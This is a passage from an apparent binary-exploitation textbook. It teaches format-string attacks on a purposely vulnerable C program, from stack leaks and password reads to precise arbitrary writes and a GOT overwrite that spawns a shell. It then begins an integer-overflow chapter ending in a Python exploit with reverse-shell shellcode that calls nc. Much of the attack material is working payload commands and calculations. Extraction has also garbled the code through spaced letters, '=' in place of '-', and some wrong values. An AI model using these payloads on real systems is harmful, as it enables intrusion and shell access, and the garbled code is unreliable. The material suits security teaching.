memory locations, and some others are likely junk.

Figure 6.5: Closer look to the stack

A short look to the stack in GDB before ”printf” has printed out the value
we can clearly see the exact same values as in Figure 6.4.
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Well, what can we do if we want to read out values from specific addresses?
One possibility is to use the format specifier %s and add a location to it.

%︸︷︷︸
Formatting start

n︸︷︷︸
Position

$︸︷︷︸
Position selector

s︸︷︷︸
Format

With this, we can walk through the stack and can read each value as a
string. If an address is selected, the value where the address is pointing will
be printed as a string. Also, here we can have some segmentation faults. One
simple solution is to repeat the reading of these values until we have a value.
Another possibility to read specific addresses is to put the desired address as
little-endian onto the stack, followed by the format specifier.

\xef\xbe\xad\xde︸ ︷︷ ︸
Desired address

%︸︷︷︸
Formatting start

n︸︷︷︸
Position

$︸︷︷︸
Position selector

s︸︷︷︸
Format

As we can see, this possibility is nearly the same as the blind reading and is
called ”direct parameter access”. The problem here is we have to know the
address, which we want to read out, and the exact location where our desired
address is stored. To determine the exact location, we can use a pattern like
”AAAA”. The next thing we have to do is to iterate through the stack until
we find the pattern in hexadecimal. Also, we can just print out a bunch of
stack values and search in the output for the pattern.

∀pos ∈ Z[0, 256]∃value ∈ Stack : valuepos = AAAA

For determining the exact location, we can use this exploit:

. / vuln $ ( python =c ” p r i n t ’AAAA’ + ’%08x . ’ * 20”)

164



This can now be applied, and we should be able to find our pattern in the
printed content of the stack.

Figure 6.6: Determining the exact location of the patter ”AAAA”

As we can see, our pattern is found at the 8th place, circled in red, of the
printed stack values (Figure 6.6 ). This can now be used to build our next
exploit:

. / vuln $ ( python =c ” p r i n t ’AAAA’ + ’%08$x ’ ” )

This exploit can now be used to verify that our value is on the determined
location. If we get the hexadecimal representation of the pattern, we have
successfully determined the exact location. If not, then we can either search
a different location or repeat it again until we git a hit to this pattern.

Figure 6.7: Verifying the exact location

Figure 6.7 shows the verification of the pattern followed of it’s hexadecimal
representation. At this point we can think about it, which addresses should
be read? The first thing we can do is to disassemble the application, to
determine some addresses or other interesting points.
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gdb=peda$ d i s a s main
Dump of assembler code f o r func t i on main :

0x080491a2 <+0>: l e a ecx , [ esp+0x4 ]
0x080491a6 <+4>: and esp , 0 x f f f f f f e 0
0x080491a9 <+7>: push DWORD PTR [ ecx=0x4 ]
0 x080491ac <+10>: push ebp
0x080491ad <+11>: mov ebp , esp
0 x080491af <+13>: push e s i
0x080491b0 <+14>: push ebx
0x080491b1 <+15>: push ecx
0x080491b2 <+16>: sub esp , 0 x40c
0x080491b8 <+22>: c a l l 0 x80490e0 < x86 . get pc thunk . bx>
0x080491bd <+27>: add ebx , 0 x2e43
0 x080491c3 <+33>: mov e s i , ecx
0 x080491c5 <+35>: sub esp , 0 x14
0 x080491c8 <+38>: push 0x8
0 x080491ca <+40>: l e a eax , [ ebx=0x 1 f f 8 ]
0x080491d0 <+46>: push eax
0x080491d1 <+47>: mov eax , 0 x804c034
0x080491d7 <+53>: push eax
0x080491d8 <+54>: c a l l 0x8049080 <strncpy@plt>
0x080491dd <+59>: add esp , 0 x20
0 x080491e0 <+62>: mov eax ,DWORD PTR [ e s i +0x4 ]
0 x080491e3 <+65>: add eax , 0 x4
0 x080491e6 <+68>: mov eax ,DWORD PTR [ eax ]
0 x080491e8 <+70>: sub esp , 0 x14
0x080491eb <+73>: push 0 x 3 f f
0 x080491f0 <+78>: push eax
0 x080491f1 <+79>: l e a eax , [ ebp=0x418 ]
0 x080491f7 <+85>: push eax
0 x080491f8 <+86>: c a l l 0x8049080 <strncpy@plt>
0 x080491fd <+91>: add esp , 0 x20
0x08049200 <+94>: sub esp , 0 x1c
0x08049203 <+97>: l e a eax , [ ebp=0x418 ]
0x08049209 <+103>: push eax
0x0804920a <+104>: c a l l 0x8049040 <pr int f@p l t>
0 x0804920f <+109>: add esp , 0 x20
0x08049212 <+112>: mov eax ,DWORD PTR [ ebx+0x30 ]
0x08049218 <+118>: sub esp , 0 x18
0x0804921b <+121>: push eax
0 x0804921c <+122>: l e a eax , [ ebx=0x 1 f f 0 ]
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0x08049222 <+128>: push eax
0x08049223 <+129>: c a l l 0x8049040 <pr int f@p l t>
0x08049228 <+134>: add esp , 0 x20
0x0804922b <+137>: mov eax ,DWORD PTR [ ebx+0x30 ]
0x08049231 <+143>: t e s t eax , eax
0x08049233 <+145>: jne 0x8049252 <main+176>
0x08049235 <+147>: sub esp , 0 x18
0x08049238 <+150>: mov eax , 0 x804c034
0 x0804923e <+156>: push eax
0 x0804923f <+157>: l e a eax , [ ebp=0x418 ]
0x08049245 <+163>: push eax
0x08049246 <+164>: c a l l 0x8049030 <strcmp@plt>
0x0804924b <+169>: add esp , 0 x20
0 x0804924e <+172>: t e s t eax , eax
0x08049250 <+174>: jne 0x804927a <main+216>
0x08049252 <+176>: sub esp , 0 x1c
0x08049255 <+179>: l e a eax , [ ebx=0x1fde ]
0x0804925b <+185>: push eax
0 x0804925c <+186>: c a l l 0x8049050 <puts@plt>
0x08049261 <+191>: add esp , 0 x20
0x08049264 <+194>: sub esp , 0 x14
0x08049267 <+197>: push 0x0
0x08049269 <+199>: push 0x0
0x0804926b <+201>: l e a eax , [ ebx=0x1fd0 ]
0x08049271 <+207>: push eax
0x08049272 <+208>: c a l l 0x8049070 <execve@plt>
0x08049277 <+213>: add esp , 0 x20
0x0804927a <+216>: mov eax , 0 x0
0 x0804927f <+221>: l e a esp , [ ebp=0xc ]
0x08049282 <+224>: pop ecx
0x08049283 <+225>: pop ebx
0x08049284 <+226>: pop e s i
0x08049285 <+227>: pop ebp
0x08049286 <+228>: l e a esp , [ ecx=0x4 ]
0x08049289 <+231>: r e t

End o f assembler dump .
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By analyzing the disassembly of the vulnerable program, we can spot some
addresses very fast. One interesting address is 0x804c034. This address is
our password string, which will be used for password matching. By replacing
the pattern with the little-endian representation of the address 0x804c034
we can read the value as a string.

Figure 6.8: Reading the value of the desired address

In Figure 6.8, we see the exploit works, and we got the password leaked with
a simple read. With this password, we can launch a shell.

168



6.11 Write values and changing execution flow

Stack leaking or leaked values on Formatstring exploitation is very bad. We
saw how worse it can be when we are able to read out the stack or spe-
cific addresses. We was able to leak the password get access to the resticted
functionality which is basicly executing a shell. The worst thing that can
happen is writing to specific addresses. When we are able to read the values
of specific addresses, we should also able to overwrite the value of the specific
address.

To write a value, we can use the format specifier %n. This specifier writes
n bytes printed. As an example of how this specifier works, we analyze the
code below:

i n t main ( i n t argc , char ** argv )
{

i n t count = 0 ;
p r i n t f (” t e s t%n\n” , &count ) ;
p r i n t f (” count = %d\n” , count ) ;
r e turn 0 ;

}

This example program does the following, first, the variable ”count” is set
to 0. Now comes the interesting part, here we have a ”printf” which prints
out ”test” and when it reaches the format specifier %n it writes the number
of bytes, which we printed so far into the variable count. The next ”printf”
prints the counted bytes, which is 4. So we can say:

Let
∑∗

ascii
: LStrings = {ε, 0x00, ..., 0xff,%n,AAAA,ABCDEFG2131, ...},

and let {s|s ∈
∑∗

ascii
∧∃s1 ∈

∑∗

ascii
∧∃s2 ∈

∑∗

ascii
: s = s1%ns2},

and let |s1| the length of a string s1 until %n −→ |s1| = n

This means the format specifier %n counts all bytes of the string, which is
printed until it the specifier itself. All bytes after the format specifier will
not be counted when no more %n is present in the string.
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Well, what happens if we reuse the exploit to spot the pattern ”AAAA” via
”direct parameter access”, and we replace the specifier %x with the that for
writing linke below?

. / vuln $ ( python =c ” p r i n t ’AAAA’ + ’%x%08$n ’ ” )

Well, it crashes.

Figure 6.9: Segmentation fault by writing

The reason why it crashes we can see in Figure 6.9 when we look closer to the
register EAX and ESI. The value of the register EAX is 0x41414141, and ESI
has the value 0xc. At this point, it is very clear why it crashes. The register
EAX holds the target memory address where the value from register ESI will
write into. In this case, the register EAX points to a memory location that
is invalid or doesn’t exist. This results in a segmentation fault.

./vuln $(python -c ”print \x41\x41\x41\x41︸ ︷︷ ︸
EAX

′%x%08$n′︸ ︷︷ ︸
ESI

’”)
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Remember the output of the application. It printed ”flag value = 0”, this is
the value, which we want to overwrite now.

0x804922b <main+137>: mov eax ,DWORD PTR [ ebx+0x30 ]
0x8049231 <main+143>: t e s t eax , eax
0x8049233 <main+145>: jne 0x8049252 <main+176>

The dump shows the variable flag is stored somewhere in the program and
will be checked if the value is not 0. To get the address we have to use GDB
to set a breakpoint to the ”printf” call. We can run it in GDB like before
and should this resulting state.

Figure 6.10: The program stopped at the breakpoint for getting the flag
address

As we can see in Figure 6.10 the EBX points currently to the address
0x0804c000, and the next instruction which gets executed is the calculation
of a relative address. in this case, the current value of EBX will be increased
by ”48 = 0x30”:

0x0804c000 + 0x30⇔ 0x0804c030→ flag
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This address points to our flag variable in which we can write to change the
execution flow of the program. An alternative to determine the addresses of
variables is to use objdump and read the symbol table. This can be done by
using the command line option -t.

Figure 6.11: Objdump prints the symbol table

We can see at the top in Figure 6.11 the variable ”passwd” which is circled in
red. On the left side, we see the address of it. This is the same address that
we figured out in the disassembly to read the password. We also see after the
address the value g which means the variable is either global, local, neither,
or both. In most cases it is global. Section ”.bss” stands for ”Block Starting
Symbol” and stored statically allocated variables that are not initialized yet.
When we look to the bottom of the figure we also the variable flag which is
also found in the ”.bss” section. The address of the variable flag is the same
as we calculated before, which verifies the calculated result.
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At this point that we have the address of the variable flag we can replace the
pattern ”AAAA” and insert the address as little-endian to execute it. The
execution of this exploit code results in that the value of the variable will
change.

Figure 6.12: EAX points now to the variable flag

Now when we take a look at GDB, when we overwrite the value, we see
EAX holds the target address and ESI the value which will be written at the
target address. At this point, when the if-condition has reached the value, is
now not 0, which is true. As the final result, the function ”execve” will be
executed which spawns the shell.

Figure 6.13: Changing execution flow with format string exploitation
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6.12 Precise arbitrary write

We can write into arbitrary addresses, and we are also able to overwrite
the value of the flag-variable to change the execution flow. What can be
worse than write into addresses? The worst that can happen is precision
write. Precision write is what the name says a methodic to write any value
precisely. We saw the flag contained after the overwrite the value 0xc, well
what we can do, to write other values? We can place before the hexadecimal
format specifier our desired value, which is shown below:

\xef\xbe\xad\xde︸ ︷︷ ︸
Target address

%︸︷︷︸
Formatting start

n︸︷︷︸
Expanding

x︸︷︷︸
Format

%8$s︸ ︷︷ ︸
Positioned write

With that, we can write any values to the target address. For this example,
we want to write the value 0x41, which is the ASCII letter ”A”. To write the
value, we can simply convert the hexadecimal value into a decimal. Finally,
we have to subtract the current printed bytes, which are currently 4 bytes.
So we can use this formula:

valuedesired = valuedecimal − nbytes printed

The final value which we write is:

Let the desired value v, and the value which have to write dt,

andv, dt ∈ Ztherefore it is :

v = 0x4116 ⇔ 6510

dt = v − n⇔ 6510 − 410

dt = 6110

The modified exploit code is:

. / vuln $ ( python =c ” p r i n t ’\ x30\xc0\x04\x08 ’ + ’%61x%8\$n ’ ” )
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The result of the execution of the exploit should be that the value of the
variable flag is now 0x41. In Figure 6.14, the flag is successfully overwritten

Figure 6.14: Flag is overwritten by 0x41

by the value 0x41. Also, we see some other printings like the value 0 and
an address. That is the effect of the specified minimum digits, which has to
be printed. Therefore we can resize the value, which we want to write into
our target address. Now we write another value and take attention to the
program behavior. This time the value we want as the value for the flag is
0x4142.

v = 0x414216 = 16706

dt = v − n = 16706− 4 = 16702

. / vuln $ ( python =c ” p r i n t ’\ x30\xc0\x04\x08 ’ \
+ ’%16702x%8\$n ’ ” )

Figure 6.15: Flag is overwritten by 0x4142

By overwriting the flag, we can see, it printed more as at the first attempt.
Well, what is happening here? We resize the minimum numbers, which will
be printed or better known as padding. Because we don’t have specified the
prefix for the padding, it will be filled up with spaces. The first attempt was
very quick. The second attempt was a bit slower. So it leads us to assume,
when we write larger values, it took more time if it overwrites the flag value.
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We assume that printing one byte will take 1µs, and 61 bytes will take 61µs.
This leads to assuming when we want to write the value 0x41424344, which is
1094861636. It takes 1094861632µs minus the 4 bytes. This will take approx
18,24min is a long time to wait. Therefore the time complexity in the Big-O-
Notation we can notice, it goes to O(n). In the table below, the calculated
and the measured times are listed depending on the increasing value.

Value Calculated time Measured time

1 1µs 19,287ms
0x41 61µs 18,296ms

0x4142 16,702ms 24,935ms
0x414243 4,27s 0,704s

0x41424344 18,25min 2,016min

We see in the table the differences between the calculated time and the
measured time. I said it goes approx to O(n), even if the differences are
significant. This relies on the internals, like write, which is blocking and
either returns with an error or with a least one bytes written. However, we
see the measured time when we attempt to write the value 0x41424344, which
is too time long to utilize it as an integer value. The solution is to split the
32Bit integer into two 16Bit short integers. Also, to write a short value, we
have to add an extra address, which points to the higher short value.

Figure 6.16: Scheme to split a 32Bit value into two 16Bit shorts

Figure 6.16 shows how exactly we can write to the higher and the lower part
of the target address. With this, we can avoid much time and can write any
value quickly. For writing values to the higher part, we have to remap the
target address by adding 0x2 to it like in the figure above. So we can say:

targetaddresshigh = targetaddress + 0x2
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The modified exploit code based on the remapping is:

. / vuln $ ( python =c ” p r i n t ’\ x32\xc0\x04\x08 ’ + ’\ x30\xc0\x04\x08 ’
+ ’%<va luepar t h igh>x%8\$hn ’ + ’%<va luepart low>x%9\$hn ’ ” )

Now when we write a large value, we have to split the value into two parts,
and then we have to subtract from the higher part the recently printed bytes,
which are 8 because of the two addresses. The second port has to be sub-
tracted with the first part, and we are ready.

Let value = 0x41424344, so the parts are:

targethigh = 0x0804c032

targetlow = 0x0804c030

and |target| is the length of the address in bytes

valuehigh = 0x414216 ⇔ 1670610

valuelow = 0x434416 ⇔ 1722010

valueparthigh = 16706− (|targethigh|+ |targetlow|) = 16706− 8 = 16698

To calculate the lower part of the value, there are 3 cases we have to apply:

� In case of valuehigh > valuelow, we have to use this term:

valuepartlow = 0xffff− valuehigh + valuelow + 1

� In case of valuehigh < valuelow, we have to use this term:

valuepartlow = valuelow + valuehigh

� In case of valuehigh = valuelow, we have to use this term:

valuepartlow = 0

And also no second printing

By applying the case-based rules, we get this:

valuehigh < valuelow → valuepartlow = valuelow + valuehigh

valuepartlow = 17220− 16706 = 514
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When all calculations are done, we can insert the correct values into the
exploit code like below to execute it.

. / vuln $ ( python =c ” p r i n t ’\ x32\xc0\x04\x08 ’ + ’\ x30\xc0\x04\x08 ’
+ ’%16698x%8\$hn ’ + ’%514x%9\$hn ’ ” )

The result of executing the exploit should like in the figure below.

Figure 6.17: Flag is overwritten by 0x41424344 with 2 writes

We can see in Figure 6.17 the exploit worked and we have the value of
the variable flag successfully overwritten by 0x4124344 without huge time
consumption. This is a good technique to write large values into a memory
address. Another option to write more specific is to use the format specifier
%hhn, which is used to write 1 byte. This follows the same methods as the
currently used technique. At this time, we have to remap the target address
again by adding two extra addresses.

targetaddresshighern = targetaddresshighern−1 + 0x1

The calculation of each part of the value which will be written can be made
by applying these two cases:

� In case of valuen−1 6= valuen, we have to use this term:

valuepartlow = 0xff− valuen−1 + valuen + 1

� In case of valuen−1 = valuen, we have to use this term:

valuepartn = 0

And also no printing for this byte
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Let value = 0x41424344, so the parts are:

target0 = 0x0804c033

target1 = 0x0804c032

target2 = 0x0804c031

target3 = 0x0804c030

value0 = 0x4116 ⇔ 6510

valuepart0 = 65− (|target0|+ |target1|+ |target2|+ |target3|) = 65− 16 = 49

valuepart1 = 0xff− value0 + value1 + 1 = 257

valuepart2 = 0xff− value1 + value2 + 1 = 257

valuepart3 = 0xff− value2 + value3 + 1 = 257

Now when we put all the values into our exploit code, which results in:

. / vuln $ ( python =c ” p r i n t ’\ x33\xc0\x04\x08 ’
+ ’\ x32\xc0\x04\x08 ’ + ’\ x31\xc0\x04\x08 ’
+ ’\ x30\xc0\x04\x08 ’ + ’%49x%8\$hhn ’
+ ’%257x%9\$hhn ’ + ’%257x%10\$hhn ’
+ ’%257x%11\$hhn ’ ” )

Which will give us this as a result when we run this exploit.

Figure 6.18: Flag is overwritten by 0x41424344 with 4 writes

We see this technique also works, but it makes the exploit code more complex
to modify. Therefore splitting values into two 16Bit integers also works and
makes it more maintainable.
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6.13 GOT Overwrite

We have seen how simple it is to overwrite values at memory addresses, and
ae are able to write arbitrary values very precisely. The next thing we can
do to change the execution flow is to overwrite some entries of the GOT.
The GOT stands for Global Offset Table and is a technique to load libraries
one time and set to each entry the correct address from the library. This
table is a special part of every ELF-Binary which we can find. Imagine every
program loads its libraries like ”glibc” each time. This will end up which a
huge memory consumption. For this reason, the GOT was born to solve this
problem, but how it works? Well, every call to a function or something else
will be stored as a symbol in the GOT. The GOT gets the correct addresses at
runtime and routes them to the symbols. Now when a function like ”printf”
gets called, the GOT will be used and the symbol will be translated to the
correct address and execute the code at this address.

Figure 6.19: A simple illustation of the GOT

In Figure 6.19, we see the GOT in a very basic structure. We also see
some entries in this table. On the left, we see the GOT-Symbol, which is
mostly functionname@library. On the right side, we have the corresponding
address of the function, which gets called when a call goes to the symbol. At
the compile-time, the compiler replaces all function calls which are found in
libraries with corresponding symbols.
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We saw this in several disassemblies, for example, ”printf” which was in the
dump ”printf@plt”. The ending ”plt” has a special meaning because it points
not to the GOT, it points to the PLT instead. The PLT, also known as the
Procedure Linkage Table, is also a special part of every ELF-Binary and
points to the GOT.

Figure 6.20: PLT/GOT flow by calling printf

Here we see the flow of the PLT and the GOT:

� Step 1: The program makes a call to the function ”printf@plt”.

� Step 2: The PLT looks up the address of the symbol and
redirects to the GOT-Entry of this function

� Step 3: The GOT looks up the GOT-Entry and redirects to the physical
address of the function. The function gets executed.

What happens if a function gets called, which is not in the GOT? Well, the
PLT is not only a simple table which points to GOT-Entries. It also resolves
the missing addresses of the GOT. When an address is resolved, the GOT
will be refreshed immediately.
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Figure 6.21: PLT/GOT flow by calling malloc

Here we the flow of the PLT and the GOT when an GOT-Entry is missing:

� Step 1: The program makes a call to the function ”malloc@plt”.

� Step 2: The PLT looks up the address of the symbol and doesn’t find
the corresponding GOT-Entry. The default PLT-Entry points to the
resolver, which gets called.

� Step 3: The Resolver resolves the physical address of the function.

� Step 4: The resolved address will be stored as a GOT-Entry into the
GOT. The GOT is now refreshed.

� Step 5: After refreshing, it jumps back to the PLT, and the flow is now
like the call to the function ”printf@plt”.

This is nowadays in every ELF-Binary found and still maintained. But an
important question is what happens if a GOT-Entry is corrupted and doesn’t
point to the right address and points to the address like ”system” or ”ex-
ecve”? It would be executed because there is no security, which can prevent
that. This can be exploited by format strings by writing into the addresses
of the GOT-Entries. This is very similar to the precision write and direct
parameter access like before.
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To get the addresses of the GOT-Entries of the program, we can use objdump
with the command line option ”-R” to retrieve all entries of the GOT.

$ objdump =R vuln

vuln : f i l e format e l f 3 2=i 386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804 b f f c R 386 GLOB DAT g m o n s t a r t
0804 c00c R 386 JUMP SLOT strcmp@GLIBC 2 . 0
0804 c010 R 386 JUMP SLOT printf@GLIBC 2 . 0
0804 c014 R 386 JUMP SLOT puts@GLIBC 2 . 0
0804 c018 R 386 JUMP SLOT libc start main@GLIBC 2 . 0
0804 c01c R 386 JUMP SLOT execve@GLIBC 2 . 0
0804 c020 R 386 JUMP SLOT strncpy@GLIBC 2 . 0

What we see here are the addresses of the internal stored GOT-Entries. Each
GOT-Symbol is associated with an address or address offset of the address
space from the program itself. These addresses are not the addresses of
the libraries where the functions came from. After the address, we see the
information ”R 386 JUMP SLOT” which is used for the normal PLT/GOT
mechanism. The following information, which we see, is the symbols itself.
Now we can use GDB to look up the address of ”printf@plt” to view the
resolved address to the real function.

Figure 6.22: Determining the real address of ”prinf”

We see in Figure 6.22, circled in red the real function address of ”printf”.
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This address is in the address space of ”libc” which can also be used to deter-
mine the offset to the base address of ”libc”, for now, it doesn’t matter. We
also see the address of the GOT-Entry is the same as we retrieved with obj-
dump. This address can now be used to overwrite the value because it is only
a pointer that calls the real function address. We can reuse the exploit from
the last subchapter where we have written values very precisely. As the value,
we use the pattern ”AAAA” to show if we have full control over this pointer.

The resulting exploit is now:

. / vuln $ ( python =c ” p r i n t ’\ x12\xc0\x04\x08 ’ +
’\ x10\xc0\x04\x08 ’ + ’%16697x%8\$hn ’ + ’%9\$hn ’ ” )

The result by executing the exploit in GDB should look like this.

Figure 6.23: Segmentation fault by overwriting the GOT-Entry with
”AAAA”
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The program crashes because of the pattern, which is an invalid address
where we jump into. We see we have successfully overwritten the instruction
pointer with this pattern and change the execution flow.

To change the execution flow, we can select an address to bypass the if
condition by jumping into the body directly. This can also be made with
GDB by disassembling the main function to determine the point, where the
jump when the if-condition fails is.

Figure 6.24: Selecting new address for the GOT-Entry ”printf”

The address 0x08049252 looks good to bypass the if condition and spawn a
shell. The new exploit should now look like this below.

. / vuln $ ( python =c ” p r i n t ’\ x12\xc0\x04\x08 ’ +
’\ x10\xc0\x04\x08 ’ + ’%2044x%8\$hn ’ + ’%100942x%9\$hn ’ ” )
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This can be executed in GDB, and we should get a shell where we can interact
with.

Figure 6.25: The exploit works in GDB

Well, we have a shell spawned, and we can interact with this shell, but also
here the important question is, can it run outside of GDB? To find that out,
just try it.

Figure 6.26: The exploit works outside of GDB

We see this exploit works outside of GDB, and we get a shell.
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6.14 Final thoughts

This chapter was very much, but it is also essential because this type of
vulnerability is very common but hard to find. We have seen various types
of format string exploitation like crashing the program, reading values or
the whole stack, also writing values to arbitrary addresses.

If this all was easy for you to understand, congratulation! Then you are on
the right way or you have it already learned. If not, then I recommend you
should read this chapter again and try it put into practice and you will
understand. For better understanding, I recommend writing some own
exploits to get a better feeling.

What did we learn in this chapter? We learned how dangerous functions
like ”printf” really are. We learned how easy this programmer mistake can
be exploited by reading out the stack to get some information about the
address space, some important values like passwords. We also learned
direct parameter access to get important information like passwords to
bypass some security restrictions. We also learned the worst thing what can
happen instead of reading arbitrary values, writing arbitrary values where
we want. Writing values to addresses can also change the execution flow of
a program that we also learned in this chapter. The last thing that we
learned is to hijack the Global Offset Table (GOT) to change also the
execution flow of the program.

Format Strings are very essential in C/C++, but many programmers make
this mistake and what it can lead to, which we’ve seen in this chapter.
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Chapter 7

Integer Overflow/Underflow

7.1 Introduction

This chapter will describe how the process of integer overflow and underflow
exploitation works. This chapter separates it into small subchapters. Before
we start with the first subchapter some things about integer overflows and
underflows have to be explained.

7.2 What is a Integer Overflow?

An integer overflow is a behavior that depends on datatypes. Datatypes like
short, int, long, etc... have a defined range of positive and negative numbers.
The range of an Integer is:

−231...231 − 1

Figure 7.1: Range of an signed integer

In mathematics, Numbers don’t stop at any range, they will go to infinity
and negative infinity, but these mathematic ranges a computer doesn’t fulfill
because of its digital resolution. An integer is on most systems 32Bit long,
and so its ranges are limited.
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Now, if we take a look at the figure below, we see a circular range of an
integer.

Figure 7.2: Range of an signed integer as circle

We see here on the top the numbers 0, 1, and -1. When we go right, the
numbers increase until the maximum number on the right. Same for the
left side, the number decreases until the maximal smallest number on the
left. Well, what happens when we reached the maximum number on the
right side, and we are still increasing it? The number will be negative.
Also, the same for negative values which these are decreased, they will turn
into positive numbers. This behavior is called Integer Overflow. For better
understanding, an Integer Overflow and Integer Underflow a the same, so I
will name it only Integer Overflow.
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The table below shows the ranges of several integer-based datatypes in C.

Datatype mathematical range range in interval

char [−27, 27 − 1] [-128, 127]
unsigned char [0, 28 − 1] [0, 255]
short int,
int (ANSI C)

[−215, 215 − 1] [-32768, 32767]

unsigned short int,
unsigned int (ANSI C)

[0, 216 − 1] [0, 65535]

int (usually) [−231, 231 − 1] ≈ ±2147483648
unsigned int (usually) [0, 232 − 1] [0, 4294967295]
long long int (ANSI C),
long (usually)

[−263, 263 − 1] ≈ ±9.223372e+18

unsigned long long int
(ANSI C),
unsigned long (usually)

[0, 264 − 1] [0, 1.8446744e+19]

Note that an integer in ANSI C starts with at least 2 bytes, which are 16Bit.
Nowadays, Integers are usually 32Bit long. Integer Overflows occurs on these
listed datatypes in the table above. Not only Integer are affected by that,
Float and Double can also overflow. This is because of their limited range.
The Float is a 32Bit single-precision floating-point datatype. The Float is
split into a signed bit, the Characteristic (8Bit), and the Mantissa (23Bit).
A Double is a 64Bit double-precision floating-point datatype. This is split
into a signed bit, the Characteristic (11Bit), and the Mantissa (52Bit).
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An example program to demonstrate an Integer Overflow shows what hap-
pens. This program simulates a bankaccount where we can withdraw money
and see our current balance.

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>

i n t main ( i n t argc , char ** argv )
{

i n t amount = 0 ;
i n t balance = 1000 ;
whi l e (1 )
{

p r i n t f (” Your cur rent balance i s : %d\n” , ba lance ) ;
p r i n t f (”How many bucks you want to draw

( negat ive numbers f o r e x i t ) ? : ” ) ;
s can f (”%d” , &amount ) ;
i f ( amount < 0)

re turn 0 ;

ba lance == 1*amount ;
p r i n t f (” Your new balance i s : %d\n” , ba lance ) ;

}
}

Figure 7.3: We got more money by making huge withdraws

We see here in Figure 7.3 if we withdraw 1.000.000.000 bucks three times.
At the first two times, we have huge debts and at the third time, we are rich.
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7.3 Definition of the development environ-

ment

Our machine for the development will be a Debian 10 Buster with preinstalled
GDB. As a better interface for GDB, PEDA will be used. The vulnerable
program has no NX/DEP and ASLR enabled. As our compiler, we use GCC
for compiling the vulnerable program.

7.4 The vulnerable program

The following program will be simple, it takes two arguments. The first
argument is a number, and the second argument is some data. It prints the
second argument twice. First ich the second argument is copied into the
buffer. It will also be printed after the return of the function ”copybuf”.

#inc lude <s t d i o . h>
#inc lude <s t d l i b . h>

char * copybuf ( const char * buf , i n t l en )
{

char b u f f e r [ 2 5 6 ] ;
memcpy( bu f f e r , buf , l en ) ;
p r i n t f (”%s ” , b u f f e r ) ;
r e turn b u f f e r ;

}

i n t main ( i n t argc , char ** argv )
{

char * r e s u l t = copybuf (
argv [ 2 ] ,
a t o i ( argv [ 1 ] ) * s i z e o f ( i n t )

) ;
p r i n t f (”%s ” , r e s u l t ) ;
r e turn 0 ;

}

A closer look at the code shows where our vulnerability exactly is. The
vulnerability is across the code. The first occurrence is the buffer with a
length of 256 bytes. The second part of this vulnerability is the parameter
”len”, which is passed to the function ”memcpy”. This specifies how much
of the source buffer will be copied into the destination buffer.
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The third part is the method call to ”copybuf”, where the length for the
function ”memcpy” is calculated from the first argument multiplied with the
byte size of an integer. This leads us assuming that the buffersize of the
input can be controlled by the first argument.

7.5 Identify the vulnerability

First of all, we have to identify the impact of this vulnerability. For the first,
we can try some numbers followed by some data. For the data, we will use
the pattern ”A” which we can use for GDB, to find the stack position.

Figure 7.4: Chaning numbers causes segmentation faults

In Figure 7.4 we see some invokes with different numbers each time. On the
first invocation, we see we entered the number 10, which results in an input
buffer with 40 bytes, which is smaller than the destination buffer with 256
bytes. In the second invocation, we entered the number -1, which results in a
segmentation fault because of an integer overflow. The number -1 will result
in a huge number which is far larger than the destination buffer. The third
attempt results also in a segmentation fault because e have to multiply the
number 256 by 4, which is 1024 bytes. This also larger than the destination
buffer, and we overwrite some other memory locations. The last attempt
where we entered the number 64 ends up with no segmentation fault because
we overwrite no much memory, which can cause a segmentation fault. When
this binary was compiled with an older compiler like GCC-3 for example, we
would have probably an Off-by-One.
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Now we can try to find out where the exact offset to the instruction pointer
(EIP) is. This can also be calculated by adding 16 Bytes to the size of
the destination buffer. By default, the stack alignment is 16 bytes on GCC
compiled binaries.

256 + 16 = 272

This is the calculated offset to the instruction pointer. For now, we can
create a dummy exploit to verify the offset to the instruction pointer.

˜$ . / vuln 272 $ ( python =c ” p r in t ’AAAA’ * 268 + ’BBBB’ ” )

When we execute this, we should end up with a segmentation fault with an
overwritten instruction pointer.

Figure 7.5: Execution of the exploit results in an overwritten EIP

We see that the calculation worked, and we have successfully overwritten
the instruction pointer by the pattern ”BBBB”. But why is that an integer
overflow? Well, this example works with positive numbers, but what happens
if we try to find a negative value which can be used to get the same behavior?
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Choosing a negative value can be hard, because of many trials and errors.
To get quickly negative values which fulfill our requirements we can take
advantage by using the negative value −231 from that point we can add the
offset as a positive value to get the value. The formula below is using the
value −231 and adds the division of the offset with the ”sizeof”. The ”sizeof”
represents the size of the data types in C like short, int, etc... nearly every
exponent can be used for the ”sizeof” value except for 0. Why zero? Because
we get the number 1 which is 1 byte where the formula does not work. For a
1-byte data type like char, you have to search the negative value manually.

sizeof = 2n | n ∈ N \ {0}

negative = −231 +
offset

sizeof

The calculation with this formula is following:

datatype is ”int” so it will be:

sizeof = 22 = 4

negative = −231 +
offset

sizeof
= −231 +

272

4

= −231 + 68 = −2147483580

With this calculated value, we can use the dummy exploit again and replace
the number 272 with this value.

˜$ . / vuln =2147483580
$ ( python =c ” p r i n t ’AAAA’ * 268 + ’BBBB’ ” )
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Figure 7.6: The exploit with the negative value overwrites the EIP also

We see in Figure 7.6 the dummy exploit with the calculated negative value
also overwrites the instruction pointer with the pattern ”BBBB” which is a
good sign, that we hit a negative number in a certain range. The range is
a small set of negative numbers where we can overwrite the EIP properly
without any issues. Now it is time to write the exploit to spawn a simple
reverse shell via NC.
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7.6 Write the Exploit

The exploit here will be very similar to the first buffer overflow exploit, which
we have written before. As shellcode, we reuse the shellcode from the chapter
”Buffer overflow”. The only thing we have to implement is the return address,
the offset calculation, and a print to print the negative value and the exploit
buffer itself. This time the exploit will be implemented in Python3 to show
where are the similarities between Python2.7.x and Python 3.7.x
The exploit with all important parts:

#!/ usr / bin /env python3
import sys
o f f s e t = 272
s i z e o f = 4
s i z e = =(2**31) + ( o f f s e t /4)

s h e l l c o d e = b ’\ x31\xc0\x50\x68\x6e\ x2f \x6e\x63\x68\ x2f \ x2f
\x62\x69\x89\xe3\x50\x68\x30\x30\x31\x20\x68
\x30\x30\x30\x2e\x68\x30\x30\x30\x2e\x68\x31
\x32\x37\x2e\x89\xe1\x50\x68\x34\x34\x34\x34
\x89\xe2\x50\x66\x68\x2d\x63\x89\xe7\x50\x68
\x6e\ x2f \x73\x68\x68\ x2f \ x2f \x62\x69\x89\xe6
\x50\x56\x57\x52\x51\x53\x89\xe1\x31\xd2\x31
\ xf6 \x31\ x f f \xb0\x0b\xcd\x80 ’
